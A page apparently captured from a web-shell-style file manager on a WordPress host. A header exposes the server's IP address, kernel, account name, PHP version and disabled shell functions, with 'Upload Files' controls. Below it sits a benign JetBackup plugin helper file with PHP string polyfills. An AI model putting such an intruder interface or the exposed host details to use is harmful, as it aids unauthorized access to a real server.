HEX
HEX
Server: Apache/2
System: Linux 31.186.11.143 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User: tek178om (4688)
PHP: 7.4.33
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/tek178om/public_html/wp-content/plugins/backup/src/JetBackup/functions.php
<?php

if (!defined( '__JETBACKUP__')) die('Direct access is not allowed');

/**
 * @param $data
 * @param $exit
 *
 * @return void
 */
function po($data, $exit=0) {
	echo "<pre>";
	print_r($data);
	if($exit) exit;
}

/**
 * PHP 7.4 Backward compatability
 * This is taken and provided by WordPress, however during restore procedure we are not inside WordPress ecosystem
 */
if ( ! function_exists( 'str_starts_with' ) ) {
	/**
	 * @param $haystack
	 * @param $needle
	 *
	 * @return bool
	 */
	function str_starts_with( $haystack, $needle ): bool {
		if ( '' === $needle ) return true;
		return 0 === strpos( $haystack, $needle );
	}
}

/**
 * PHP 7.4 Backward compatability
 * This is taken and provided by WordPress, however during restore procedure we are not inside WordPress ecosystem
 */
if ( ! function_exists( 'str_ends_with' ) ) {
	/**
	 * @param $haystack
	 * @param $needle
	 *
	 * @return bool
	 */
	function str_ends_with( $haystack, $needle ): bool {
		if ( '' === $haystack && '' !== $needle ) return false;
		$len = strlen( $needle );
		return 0 === substr_compare( $haystack, $needle, -$len, $len );
	}
}